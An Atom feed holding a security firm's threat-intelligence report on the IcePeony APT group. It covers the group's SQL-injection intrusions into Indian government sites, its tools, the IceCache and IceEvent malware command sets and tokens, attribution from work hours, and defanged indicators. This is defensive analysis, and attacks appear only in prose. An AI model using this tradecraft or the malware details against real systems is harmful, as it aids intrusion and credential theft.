<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="http://nao-sec.org/feed.xml" rel="self" type="application/atom+xml" /><link href="http://nao-sec.org/" rel="alternate" type="text/html" /><updated>2026-04-15T07:32:14+00:00</updated><id>http://nao-sec.org/feed.xml</id><title type="html">nao_sec</title><subtitle></subtitle><author><name>nao_sec</name></author><entry><title type="html">IcePeony with the ‘996’ work culture</title><link href="http://nao-sec.org/2024/10/IcePeony-with-the-996-work-culture.html" rel="alternate" type="text/html" title="IcePeony with the ‘996’ work culture" /><published>2024-10-16T15:00:00+00:00</published><updated>2024-10-16T15:00:00+00:00</updated><id>http://nao-sec.org/2024/10/IcePeony-with-the-996-work-culture</id><content type="html" xml:base="http://nao-sec.org/2024/10/IcePeony-with-the-996-work-culture.html"><![CDATA[<p><img src="https://nao-sec.org/assets/2024-10-17/top.png" alt="" /></p>

<p>This blog post is based on “IcePeony with the ‘996’ work culture” that we presented at VB2024. We are grateful to Virus Bulletin for giving us the opportunity to present.</p>

<p><a href="https://www.virusbulletin.com/conference/vb2024/abstracts/icepeony-996-work-culture/">https://www.virusbulletin.com/conference/vb2024/abstracts/icepeony-996-work-culture/</a></p>

<h2 id="tldr">tl;dr</h2>
<p>We have discovered a previously unknown China-nexus APT group, which we have named “IcePeony”. Due to operational mistakes, they exposed their resources, allowing us to uncover details of their attacks.</p>

<ul>
  <li>IcePeony is a China-nexus APT group that has been active since at least 2023. They have targeted government agencies, academic institutions, and political organizations in countries such as India, Mauritius, and Vietnam.</li>
  <li>Their attacks typically start with SQL Injection, followed by compromise via webshells and backdoors. Interestingly, they use a custom IIS malware called “IceCache”.</li>
  <li>Through extensive analysis, we strongly believe that IcePeony is a China-nexus APT group, operating under harsh work conditions.</li>
</ul>

<h2 id="icepeony">IcePeony</h2>
<p>IcePeony is an unknown attack group. Our research shows that they have been active since at least 2023. They mainly target Asian countries, such as India and Vietnam. In the log files we analyzed, there were over 200 attempts to attack various government websites in India.</p>

<p>They use SQL injection attacks on public web servers. If they find a vulnerability, they install a webshell or malware. Ultimately, their goal is to steal credentials.</p>

<p>We believe IcePeony works for China’s national interests. It is possible that they prioritize China’s maritime strategy.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/1.png" alt="" /></p>

<p>Our research found that IcePeony targeted government and academic institutions in India, political parties in Vietnam, and government institutions in Mauritius. Recently, they may have also attacked Brazil. It is likely that they will expand their targets in the future.</p>

<h2 id="opsec-fail">OPSEC fail</h2>
<p>In July, we identified a host that was publicly exposing various attack tools, including CobaltStrike and sqlmap, via an open directory. What made this discovery even more compelling was the presence of a zsh_history file.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/2.png" width="60%" /></p>

<p>One of the most interesting findings was the zsh_history file. Similar to bash_history, the zsh_history file records command history. However, zsh_history also logs timestamps, allowing us to pinpoint the exact time each command was executed. This enabled us to construct a highly detailed timeline of the attack.</p>

<p>Unlike a typical timeline created by an IR or SOC analyst, this one offers insight from the attacker’s perspective. We could observe their trial-and-error process and how they executed the intrusion.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/3.png" alt="" /></p>

<p>The zsh_history was not the only interesting file. There were many others.</p>

<p>For example, IcePeony had configured several helper commands in their alias file, including shortcuts to simplify lengthy commands and commands to quickly access help information.</p>

<p>Here is an example with Mimikatz. By typing “hPass,” the attacker could display basic tutorials for Mimikatz. This improved their effectiveness during attacks.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/4.png" alt="" /></p>

<h2 id="intrusion-timeline">Intrusion Timeline</h2>
<p>We obtained two weeks’ worth of command history from the zsh_history. Let’s go through the events of each day.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/5.png" alt="" /></p>

<p>On day-1, the attacker attempted SQL injections on several government websites. When the exploit succeeded, they installed a webshell or IceCache, establishing a foothold for the attack. On day-2, they reviewed the domain information of compromised hosts and created accounts for further exploitation. On day three, which was a Sunday, no actions were taken. On day-3, which was a Sunday, they did not perform any actions. It seems the attacker does not work on Sundays. On day-4, they used IceCache to configure proxy rules. We will explain this in more detail later. On day-5, the attacker expanded their reach by attempting more SQL injections on other government websites. On day-6, they used various tools, including IcePeony’s custom tool called StaX and a rootkit called Diamorphine. On day-7, they continued to attack other hosts using tools like URLFinder and sqlmap.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/6.png" alt="" /></p>

<p>On day-8, they used IceCache to steal information from the compromised environment, especially focusing on domain users. On day-9, they were quiet and only performed connection checks. On day-10, they did nothing since it was a Sunday. On day-11, they used tools like craXcel and WmiExec. They used craXcel, an open-source tool, to unlock password-protected Microsoft Office files. On day-12, they used IceCache to add proxy rules and set persistence with scheduled tasks. On day-13 and day-14, they explored other hosts for further exploitation.</p>

<p>Over the course of two weeks, the attacker utilized a variety of tools and commands to compromise government websites and exfiltrate information.</p>

<h2 id="tools">Tools</h2>
<p>IcePeony uses a wide range of tools, with a particular preference for open-source ones. Here, we will highlight only the most distinctive tools they use.</p>

<h3 id="stax">StaX</h3>
<p>StaX is a customized variant of the open-source tool Stowaway, a high-performance proxy tool. The attacker enhanced Stowaway with custom processing. Based on development strings, we called this version StaX.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/9.png" width="70%" /></p>

<p>StaX included encryption for communication targets specified in active mode using Custom Base64 and AES.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/7.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2024-10-17/8.png" alt="" /></p>

<h3 id="proxychains">ProxyChains</h3>
<p>ProxyChains is an open-source proxy tool. The attacker used ProxyChains to run script files on victim hosts.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/10.png" alt="" /></p>

<p>info.sh is a script that collects system information from the compromised environment. It gathers environment information, user information, installed tool versions, network settings, SSH configuration files, and command history.</p>

<p>linux_back.sh is a script for backdoors and persistence. It downloads and runs a backdoor shell script from the server and creates backdoor users.</p>

<p>Interestingly, they installed a rootkit called Diamorphine, which is available on GitHub.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/11.png" alt="" /></p>

<h2 id="malware">Malware</h2>
<p>The IcePeony server contained malware targeting IIS, which we named IceCache. They used IceCache to attack the attack surface server. Additionally, during the investigation, we discovered another related malware, which we called IceEvent. Although no logs of using IceEvent were found. We believe it was used to compromise another computer that was not connected to the internet.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/12.png" alt="" /></p>

<h3 id="icecache">IceCache</h3>
<p>IceCache is an ELF64 binary developed in Go language. It is customized based on the open-source software reGeorge.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/13.png" width="60%" /></p>

<p>To facilitate their intrusion operations, they added file transmission commands and command execution functionality.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/14.png" alt="" /></p>

<p>IceCache module is installed and run on IIS servers. The number of commands change, but they are classified into two types based on authentication tokens.  We found files with remaining PDB information. These files were developed by a user named “power” in a project called “cachsess”</p>

<table>
  <thead>
    <tr>
      <th>PDB Path</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>C:\Users\power\documents\visual studio 2017\Projects\cachsess\x64\Release\cachsess.pdb</td>
    </tr>
    <tr>
      <td>C:\Users\power\Documents\Visual Studio 2017\Projects\cachsess\Release\cachsess32.pdb</td>
    </tr>
  </tbody>
</table>

<p>The number of commands changes over time, but it includes command execution functions, SOCKS proxy functions, and file transmission functions.</p>

<table>
  <thead>
    <tr>
      <th>TYPE-A</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>EXEC / EXEC_PRO</td>
      <td>Command to the execution of a process</td>
    </tr>
    <tr>
      <td>SOCKS_HELLO</td>
      <td>Command to SOCKS protocol initial handshake message</td>
    </tr>
    <tr>
      <td>SOCKS_CONNECT</td>
      <td>Command to indicate a connection request with the SOCKS protocol</td>
    </tr>
    <tr>
      <td>SOCKS_DISCONNECT</td>
      <td>Command to indicate disconnection with SOCKS protocol</td>
    </tr>
    <tr>
      <td>SOCKS_READ</td>
      <td>Command to reading of data in SOCKS protocol</td>
    </tr>
    <tr>
      <td>SOCKS_FORWARD</td>
      <td>Command to instruct data transfer via SOCKS protocol</td>
    </tr>
    <tr>
      <td>PROXY_ADD</td>
      <td>Command to add a proxy</td>
    </tr>
    <tr>
      <td>PROXY_LIST</td>
      <td>Command to list a proxy</td>
    </tr>
    <tr>
      <td>PROXY_DEL</td>
      <td>Command to del a proxy</td>
    </tr>
    <tr>
      <td>PROXY_CLEAR</td>
      <td>Command to clear all proxy settings</td>
    </tr>
    <tr>
      <td>PROXY_SET_JS</td>
      <td>Set the JavaScript</td>
    </tr>
    <tr>
      <td>PROXY_GET_JS</td>
      <td>Get set the JavaScript</td>
    </tr>
    <tr>
      <td>PROXY_ALLOW_PC</td>
      <td>Allowed PC settings</td>
    </tr>
    <tr>
      <td>PROXY_CACHE_CLEAR</td>
      <td>Command to clear the proxy cache</td>
    </tr>
    <tr>
      <td>PROXY_CACHE_TIME</td>
      <td>Command to set proxy cache time</td>
    </tr>
    <tr>
      <td>FILE_UPLOAD</td>
      <td>Upload Files</td>
    </tr>
    <tr>
      <td>FILE_DOWNLOAD</td>
      <td>Download Files</td>
    </tr>
  </tbody>
</table>

<p><br /></p>

<table>
  <thead>
    <tr>
      <th>TYPE-B</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>EXEC / EXEC_PRO</td>
      <td>Command that directs the execution of a process</td>
    </tr>
    <tr>
      <td>SOCKS_HELLO</td>
      <td>SOCKS protocol initial handshake message</td>
    </tr>
    <tr>
      <td>SOCKS_CONNECT</td>
      <td>Command to indicate a connection request with the SOCKS protocol</td>
    </tr>
    <tr>
      <td>SOCKS_DISCONNECT</td>
      <td>Command to indicate disconnection with SOCKS protocol</td>
    </tr>
    <tr>
      <td>SOCKS_READ</td>
      <td>Command that directs reading of data in SOCKS protocol</td>
    </tr>
    <tr>
      <td>SOCKS_FORWARD</td>
      <td>Command to instruct data transfer via SOCKS protocol</td>
    </tr>
    <tr>
      <td>PROXY_ADD</td>
      <td>Command to add a proxy</td>
    </tr>
    <tr>
      <td>PROXY_LIST</td>
      <td>Command to list a proxy</td>
    </tr>
    <tr>
      <td>PROXY_DEL</td>
      <td>Command to del a proxy</td>
    </tr>
    <tr>
      <td>PROXY_CLEAR</td>
      <td>Command to clear all proxy settings</td>
    </tr>
    <tr>
      <td>FILE_UPLOAD / FILE_UPLOAD_PRO</td>
      <td>Upload Files</td>
    </tr>
    <tr>
      <td>FILE_DOWNLOAD / FILE_DOWNLOAD_PRO</td>
      <td>Download Files</td>
    </tr>
    <tr>
      <td>IIS_VERSION</td>
      <td>Show IIS version</td>
    </tr>
  </tbody>
</table>

<p>These are the IceCache modules found so far. The first sample we are aware of was compiled in August 2023 and submitted to VirusTotal in October. Since there is no discrepancy between the compille time and the first submission, we believe the dates are reliable.</p>

<p>Many new samples have also been found since 2024. Most of the submitters are from India, which matches the victim information we have gathered from OpenDir data.</p>

<p>The number of commands has change over time. It is show that the malware’s developers have made improvements while continuing their intrusion operations.</p>

<table>
  <thead>
    <tr>
      <th>sha256[:8]</th>
      <th>Compile Time</th>
      <th>First Submission</th>
      <th>Submitter</th>
      <th>Cmd Num</th>
      <th>X-Token</th>
      <th>TYPE</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>5b16d153</td>
      <td>2024-07-17 09:11:14</td>
      <td>2024-08-03 04:58:20</td>
      <td>c8d0b2b9 (ID)</td>
      <td>20</td>
      <td>tn7rM2851XVvOFbc</td>
      <td>B</td>
    </tr>
    <tr>
      <td>484e2740</td>
      <td>2024-06-21 03:05:15</td>
      <td>2024-08-07 09:25:53</td>
      <td>39d4d6d2 - email</td>
      <td>20</td>
      <td>tn7rM2851XVvOFbc</td>
      <td>B</td>
    </tr>
    <tr>
      <td>11e90e24</td>
      <td>2024-06-05 03:52:48</td>
      <td>2024-06-18 12:21:50</td>
      <td>d9cb313c (ID)</td>
      <td>20</td>
      <td>tn7rM2851XVvOFbc</td>
      <td>B</td>
    </tr>
    <tr>
      <td>b8d030ed</td>
      <td>2024-06-05 03:52:41</td>
      <td>2024-06-18 10:47:18</td>
      <td>408f1927 (ID)</td>
      <td>20</td>
      <td>tn7rM2851XVvOFbc</td>
      <td>B</td>
    </tr>
    <tr>
      <td>ceb47274</td>
      <td>2024-04-25 09:53:26</td>
      <td>2024-08-02 21:50:50</td>
      <td>06ac9f47 (BR)</td>
      <td>20</td>
      <td>tn7rM2851XVvOFbc</td>
      <td>B</td>
    </tr>
    <tr>
      <td>d1955169</td>
      <td>2024-04-21 11:29:25</td>
      <td>2024-06-18 12:24:39</td>
      <td>d9cb313c (ID)</td>
      <td>18</td>
      <td>tn7rM2851XVvOFbc</td>
      <td>B</td>
    </tr>
    <tr>
      <td>de8f58f0</td>
      <td>2024-04-21 11:29:10</td>
      <td>2024-06-18 10:49:53</td>
      <td>408f1927 (ID)</td>
      <td>18</td>
      <td>tn7rM2851XVvOFbc</td>
      <td>B</td>
    </tr>
    <tr>
      <td>53558af</td>
      <td>2024-03-27 05:08:50</td>
      <td>2024-04-19 07:57:19</td>
      <td>c2440bbf (ID)</td>
      <td>18</td>
      <td>tn7rM2851XVvOFbc</td>
      <td>B</td>
    </tr>
    <tr>
      <td>0b8b10a2</td>
      <td>2024-03-27 05:08:57</td>
      <td>2024-04-18 13:54:16</td>
      <td>c2440bbf (ID)</td>
      <td>18</td>
      <td>tn7rM2851XVvOFbc</td>
      <td>B</td>
    </tr>
    <tr>
      <td>a66627cc</td>
      <td>2024-02-20 09:36:12</td>
      <td>2024-03-12 15:17:55</td>
      <td>a6412166 (VN)</td>
      <td>16</td>
      <td>cbFOvVX1582Mr7nt</td>
      <td>A</td>
    </tr>
    <tr>
      <td>e5f520d9</td>
      <td>2024-02-01 09:32:21</td>
      <td>2024-07-17 09:30:54</td>
      <td>24761b38 (SG)</td>
      <td>24</td>
      <td>cbFOvVX1582Mr7nt</td>
      <td>A</td>
    </tr>
    <tr>
      <td>3eb56218</td>
      <td>2023-12-07 03:04:16</td>
      <td>2024-02-20 13:54:02</td>
      <td>0f09a1ae (ID)</td>
      <td>24</td>
      <td>cbFOvVX1582Mr7nt</td>
      <td>A</td>
    </tr>
    <tr>
      <td>5fd5e99f</td>
      <td>2023-09-27 00:50:46</td>
      <td>2024-03-24 08:59:02</td>
      <td>Ca43fb0f (ID)</td>
      <td>24</td>
      <td>cbFOvVX1582Mr7nt</td>
      <td>A</td>
    </tr>
    <tr>
      <td>0eb60e4c</td>
      <td>2023-08-23 09:11:24</td>
      <td>2023-10-18 10:11:00</td>
      <td>0e8f2a34 (VN)</td>
      <td>18</td>
      <td>cbFOvVX1582Mr7nt</td>
      <td>A</td>
    </tr>
  </tbody>
</table>

<h3 id="iceevent">IceEvent</h3>
<p>IceEvent is a simple passive-mode backdoor that installed as a service.</p>

<table>
  <thead>
    <tr>
      <th>PDB Path</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>C:\Users\power\Documents\Visual Studio 2017\Projects\WinService\x64\Release\WinService.pdb</td>
    </tr>
  </tbody>
</table>

<p>Two types have been identified based on the command format. Both types only have the minimum necessary commands. The older type was discovered in September 2023, and several new types were found in April of this year. All of these were submitted from India.</p>

<table>
  <thead>
    <tr>
      <th>TYPE-A</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>FILE:</td>
      <td>Command to Reading files via sockets</td>
    </tr>
    <tr>
      <td>CMD:</td>
      <td>Command to the execution of a process</td>
    </tr>
  </tbody>
</table>

<p><br /></p>

<table>
  <thead>
    <tr>
      <th>TYPE-B</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>UPFILE</td>
      <td>Upload Files</td>
    </tr>
    <tr>
      <td>DOWNFILE</td>
      <td>Download Files</td>
    </tr>
    <tr>
      <td>CMD</td>
      <td>Command to the execution of a process</td>
    </tr>
  </tbody>
</table>

<p><br /></p>

<table>
  <thead>
    <tr>
      <th>sha256[:8]</th>
      <th>Compile Time</th>
      <th>First Submission</th>
      <th>Submitter</th>
      <th>Cmd Num</th>
      <th>TYPE</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>80e83118</td>
      <td>2024-04-25 09:50:58</td>
      <td>2024-07-25 05:43:08</td>
      <td>INDIA (99003aca)</td>
      <td>3</td>
      <td>B</td>
    </tr>
    <tr>
      <td>9aba997b</td>
      <td>2024-04-30 04:48:48</td>
      <td>2024-06-14 05:46:49</td>
      <td>INDIA (060734bd)</td>
      <td>3</td>
      <td>B</td>
    </tr>
    <tr>
      <td>9a0b0439</td>
      <td>2024-04-25 09:50:58</td>
      <td>2024-06-14 05:00:08</td>
      <td>INDIA (060734bd)</td>
      <td>3</td>
      <td>B</td>
    </tr>
    <tr>
      <td>bc94da1a</td>
      <td>2023-08-23 08:52:46</td>
      <td>2023-09-05 03:03:57</td>
      <td>INDIA (81f8b666)</td>
      <td>2</td>
      <td>A</td>
    </tr>
  </tbody>
</table>

<h3 id="similarities">Similarities</h3>
<p>We believe that IceEvent was developed because a simple passive backdoor was needed during intrusions, based on code similarities with IceCache. Both IceCache and IceEvent use the same key for XOR to encode communication data. And PDB information shows that the same developer created both malware.</p>

<p>This is the XOR-based data encoding process used for communication data, which is equal to both malware.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/15.png" alt="" /></p>

<p>This is the command execution process equal to both malware. Since the function calls and branching processes are exactly the same, we believe they were compiled from the same source code. Other commands also match perfectly.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/16.png" alt="" /></p>

<p>The communication data of IceCache and IceEvent is only encoded using the XOR process mentioned earlier, making it easy to decode. Here is an example of decoding the data during command execution.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/17.png" alt="" /></p>

<h2 id="attribution">Attribution</h2>
<p>We investigated the attacker’s activity times based on the timestamp information in the zsh_history file. As a result, we found that the attacker is likely operating in the UTC+8 time zone. Surprisingly, the attacker works from 8 a.m. to 10 p.m., which is a 14-hour workday. They are remarkably diligent workers.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/18.png" alt="" /></p>

<p>Similarly, we investigated the changes in activity based on the day of the week. It seems that the attackers work six days a week. While they are less active on Fridays and Saturdays, their only full day off appears to be Sunday. This investigation suggests that the attackers are not conducting these attacks as personal activities, but are instead engaging in them as part of organized, professional operations.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/19.png" alt="" /></p>

<p>By the way, have you heard of the term “996 working hour system”? 
This term originated in China’s IT industry.  In China’s IT industry, long working hours see as a problem. It refers to working from 9 a.m. to 9 p.m.,six days a week. Such hard work conditions are called the “996 working hour system”. IcePeony might be working under the 996 working hour system.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/20.png" alt="" /></p>

<p><a href="https://en.wikipedia.org/wiki/996_working_hour_system">https://en.wikipedia.org/wiki/996_working_hour_system</a></p>

<p>Next, There is a very simple example to consider when discussing attribution. IcePeony sometimes includes Simplified Chinese comments in the tools they use. Here, we provide an example of a wrapper script for the IceCache Client. From this, we can conclude that IcePeony is a threat actor from a region where Simplified Chinese is commonly used.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/21.png" alt="" /></p>

<p>IcePeony uses an original malware called IceCache. As previously mentioned, IceCache is based on reGeorge. More specifically, IceCache contains a string referring to a project named reGeorgGo.</p>

<p>Upon investigating reGeorgGo, We found that it was developed by a Chinese security engineer. There is no other information about this project on the internet, aside from the developer’s blog. 
It was a not well-known tool. However, the publicly available reGeorgGo is a tool with only three arguments, where as IceCache has more commands added to it.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/22.png" alt="" /></p>

<p><a href="https://github.com/zz1gg/secdemo/tree/main/proxy/reGeorgGo">https://github.com/zz1gg/secdemo/tree/main/proxy/reGeorgGo</a></p>

<p>Let’s examine attribution from another side. In this attack campaign, IcePeony targeted India, Mauritius, and Vietnam. While attacks on India and Vietnam are generally not uncommon. What about Mauritius?</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/23.png" width="50%" /></p>

<p>Mauritius is a small country located in the Indian Ocean. Interestingly, Mauritius has recently formed a cooperation with India. They are wary of China’s expansion into the Indian Ocean and have begun various forms of collaboration to counter this influence.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/24.png" alt="" /></p>

<p><a href="https://www.mea.gov.in/newsdetail1.htm?12042/">https://www.mea.gov.in/newsdetail1.htm?12042/</a></p>

<p>We summarize the attribution information using the Diamond Model.</p>

<p>IcePeony consists of Simplified Chinese speakers who show interest in the governments of Indian Ocean countries and work under the 996 working hour system.</p>

<p>They prefer open-source software developed in Chinese-speaking regions and use their original malware, IceCache and IceEvent. In attacks on the Indian government, they used VPSs located in the Indian region. Additionally, the governments and education sectors in Mauritius and Vietnam were also targeted.</p>

<p><img src="https://nao-sec.org/assets/2024-10-17/25.png" alt="" /></p>

<h2 id="wrap-up">Wrap-Up</h2>
<p>In this blog post, we introduced IcePeony. IcePeony is a newly emerging attack group. Our investigation shows that they have been active since at least 2023. Their primary targets are countries in Asia, such as India and Vietnam.</p>

<p>The log files we analyzed recorded attempts to attack over 200 different Indian government websites. IcePeony typically attempts SQL Injection attacks on publicly accessible web servers. If vulnerabilities are found, they install web shells or execute malware. Ultimately, they aim to steal credentials.</p>

<p>We suspect that IcePeony operates as a group of individuals conducting cyberattacks in support of China’s national interests, possibly in connection with China’s maritime strategy. They remain active, and we must continue monitoring their activities closely moving forward.</p>

<h2 id="iocs">IoCs</h2>
<h3 id="ip">IP</h3>
<ul>
  <li>165[.]22.211.62</li>
  <li>64[.]227.133.248</li>
  <li>173[.]208.156.19</li>
  <li>173[.]208.156.144</li>
  <li>154[.]213.17.225</li>
  <li>103[.]150.186.219</li>
  <li>63[.]141.255.16</li>
  <li>204[.]12.205.10</li>
  <li>107[.]148.37.63</li>
  <li>103[.]99.60.119</li>
  <li>154[.]213.17.237</li>
  <li>45[.]195.205.88</li>
  <li>154[.]213.17.244</li>
  <li>103[.]99.60.93</li>
  <li>149[.]115.231.17</li>
  <li>149[.]115.231.39</li>
  <li>103[.]99.60.108</li>
</ul>

<h3 id="domain">Domain</h3>
<ul>
  <li>d45qomwkl[.]online</li>
  <li>k9ccin[.]com</li>
  <li>k8ccyn[.]com</li>
  <li>88k8cc[.]com</li>
  <li>googlesvn[.]com</li>
</ul>

<h3 id="icecache-1">IceCache</h3>
<ul>
  <li>484e274077ab6f9354bf71164a8edee4dc4672fcfbf05355958785824fe0468f</li>
  <li>5b16d1533754c9e625340c4fc2c1f76b11f37eb801166ccfb96d2aa02875a811</li>
  <li>ceb47274f4b6293df8904c917f423c2f07f1f31416b79f3b42b6d64e65dcfe1b</li>
  <li>e5f520d95cbad6ac38eb6badbe0ad225f133e0e410af4e6df5a36b06813e451b</li>
  <li>d1955169cd8195ecedfb85a3234e4e6b191f596e493904ebca5f44e176f3f950</li>
  <li>11e90e2458a97957064a3d3f508fa6dadae19f632b45ff9523b7def50ebacb63</li>
  <li>de8f58f008ddaa60b5cf1b729ca03f276d2267e0a80b584f2f0723e0fac9f76c</li>
  <li>b8d030ed55bfb6bc4fdc9fe34349ef502561519a79166344194052f165d69681</li>
  <li>535586af127e85c5561199a9a1a3254d554a6cb97200ee139c5ce23e68a932bd</li>
  <li>0b8b10a2ff68cb2aa3451eedac4a8af4bd147ef9ddc6eb84fc5b01a65fca68fd</li>
  <li>5fd5e99fc503831b71f4072a335f662d1188d7bc8ca2340706344fb974c7fe46</li>
  <li>3eb56218a80582a79f8f4959b8360ada1b5e471d723812423e9d68354b6e008c</li>
  <li>a66627cc13f827064b7fcea643ab31b34a7cea444d85acc4e146d9f2b2851cf6</li>
  <li>0eb60e4c5dc7b06b719e9dbd880eb5b7514272dc0d11e4760354f8bb44841f77</li>
</ul>

<h3 id="iceevent-1">IceEvent</h3>
<ul>
  <li>80e831180237b819e14c36e4af70304bc66744d26726310e3c0dd95f1740ee58</li>
  <li>9a0b0439e6fd2403f764acf0527f2365a4b9a98e9643cd5d03ccccf3825a732e</li>
  <li>9aba997bbf2f38f68ad8cc3474ef68eedd0b99e8f7ce39045f1d770e2af24fea</li>
  <li>bc94da1a066cbb9bdee7a03145609d0f9202b426a52aca19cc8d145b4175603b</li>
</ul>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[This blog post is based on “IcePeony with the ‘996’ work culture” that we presented at VB2024. We are grateful to Virus Bulletin for giving us the opportunity to present. https://www.virusbulletin.com/conference/vb2024/abstracts/icepeony-996-work-culture/ tl;dr We have discovered a previously unknown China-nexus APT group, which we have named “IcePeony”. Due to operational mistakes, they exposed their resources, allowing us to uncover details of their attacks. IcePeony is a China-nexus APT group that has been active since at least 2023. They have targeted government agencies, academic institutions, and political organizations in countries such as India, Mauritius, and Vietnam. Their attacks typically start with SQL Injection, followed by compromise via webshells and backdoors. Interestingly, they use a custom IIS malware called “IceCache”. Through extensive analysis, we strongly believe that IcePeony is a China-nexus APT group, operating under harsh work conditions. IcePeony IcePeony is an unknown attack group. Our research shows that they have been active since at least 2023. They mainly target Asian countries, such as India and Vietnam. In the log files we analyzed, there were over 200 attempts to attack various government websites in India. They use SQL injection attacks on public web servers. If they find a vulnerability, they install a webshell or malware. Ultimately, their goal is to steal credentials. We believe IcePeony works for China’s national interests. It is possible that they prioritize China’s maritime strategy. Our research found that IcePeony targeted government and academic institutions in India, political parties in Vietnam, and government institutions in Mauritius. Recently, they may have also attacked Brazil. It is likely that they will expand their targets in the future. OPSEC fail In July, we identified a host that was publicly exposing various attack tools, including CobaltStrike and sqlmap, via an open directory. What made this discovery even more compelling was the presence of a zsh_history file. One of the most interesting findings was the zsh_history file. Similar to bash_history, the zsh_history file records command history. However, zsh_history also logs timestamps, allowing us to pinpoint the exact time each command was executed. This enabled us to construct a highly detailed timeline of the attack. Unlike a typical timeline created by an IR or SOC analyst, this one offers insight from the attacker’s perspective. We could observe their trial-and-error process and how they executed the intrusion. The zsh_history was not the only interesting file. There were many others. For example, IcePeony had configured several helper commands in their alias file, including shortcuts to simplify lengthy commands and commands to quickly access help information. Here is an example with Mimikatz. By typing “hPass,” the attacker could display basic tutorials for Mimikatz. This improved their effectiveness during attacks. Intrusion Timeline We obtained two weeks’ worth of command history from the zsh_history. Let’s go through the events of each day. On day-1, the attacker attempted SQL injections on several government websites. When the exploit succeeded, they installed a webshell or IceCache, establishing a foothold for the attack. On day-2, they reviewed the domain information of compromised hosts and created accounts for further exploitation. On day three, which was a Sunday, no actions were taken. On day-3, which was a Sunday, they did not perform any actions. It seems the attacker does not work on Sundays. On day-4, they used IceCache to configure proxy rules. We will explain this in more detail later. On day-5, the attacker expanded their reach by attempting more SQL injections on other government websites. On day-6, they used various tools, including IcePeony’s custom tool called StaX and a rootkit called Diamorphine. On day-7, they continued to attack other hosts using tools like URLFinder and sqlmap. On day-8, they used IceCache to steal information from the compromised environment, especially focusing on domain users. On day-9, they were quiet and only performed connection checks. On day-10, they did nothing since it was a Sunday. On day-11, they used tools like craXcel and WmiExec. They used craXcel, an open-source tool, to unlock password-protected Microsoft Office files. On day-12, they used IceCache to add proxy rules and set persistence with scheduled tasks. On day-13 and day-14, they explored other hosts for further exploitation. Over the course of two weeks, the attacker utilized a variety of tools and commands to compromise government websites and exfiltrate information. Tools IcePeony uses a wide range of tools, with a particular preference for open-source ones. Here, we will highlight only the most distinctive tools they use. StaX StaX is a customized variant of the open-source tool Stowaway, a high-performance proxy tool. The attacker enhanced Stowaway with custom processing. Based on development strings, we called this version StaX. StaX included encryption for communication targets specified in active mode using Custom Base64 and AES. ProxyChains ProxyChains is an open-source proxy tool. The attacker used ProxyChains to run script files on victim hosts. info.sh is a script that collects system information from the compromised environment. It gathers environment information, user information, installed tool versions, network settings, SSH configuration files, and command history. linux_back.sh is a script for backdoors and persistence. It downloads and runs a backdoor shell script from the server and creates backdoor users. Interestingly, they installed a rootkit called Diamorphine, which is available on GitHub. Malware The IcePeony server contained malware targeting IIS, which we named IceCache. They used IceCache to attack the attack surface server. Additionally, during the investigation, we discovered another related malware, which we called IceEvent. Although no logs of using IceEvent were found. We believe it was used to compromise another computer that was not connected to the internet. IceCache IceCache is an ELF64 binary developed in Go language. It is customized based on the open-source software reGeorge. To facilitate their intrusion operations, they added file transmission commands and command execution functionality. IceCache module is installed and run on IIS servers. The number of commands change, but they are classified into two types based on authentication tokens. We found files with remaining PDB information. These files were developed by a user named “power” in a project called “cachsess” PDB Path C:\Users\power\documents\visual studio 2017\Projects\cachsess\x64\Release\cachsess.pdb C:\Users\power\Documents\Visual Studio 2017\Projects\cachsess\Release\cachsess32.pdb The number of commands changes over time, but it includes command execution functions, SOCKS proxy functions, and file transmission functions. TYPE-A Description EXEC / EXEC_PRO Command to the execution of a process SOCKS_HELLO Command to SOCKS protocol initial handshake message SOCKS_CONNECT Command to indicate a connection request with the SOCKS protocol SOCKS_DISCONNECT Command to indicate disconnection with SOCKS protocol SOCKS_READ Command to reading of data in SOCKS protocol SOCKS_FORWARD Command to instruct data transfer via SOCKS protocol PROXY_ADD Command to add a proxy PROXY_LIST Command to list a proxy PROXY_DEL Command to del a proxy PROXY_CLEAR Command to clear all proxy settings PROXY_SET_JS Set the JavaScript PROXY_GET_JS Get set the JavaScript PROXY_ALLOW_PC Allowed PC settings PROXY_CACHE_CLEAR Command to clear the proxy cache PROXY_CACHE_TIME Command to set proxy cache time FILE_UPLOAD Upload Files FILE_DOWNLOAD Download Files TYPE-B Description EXEC / EXEC_PRO Command that directs the execution of a process SOCKS_HELLO SOCKS protocol initial handshake message SOCKS_CONNECT Command to indicate a connection request with the SOCKS protocol 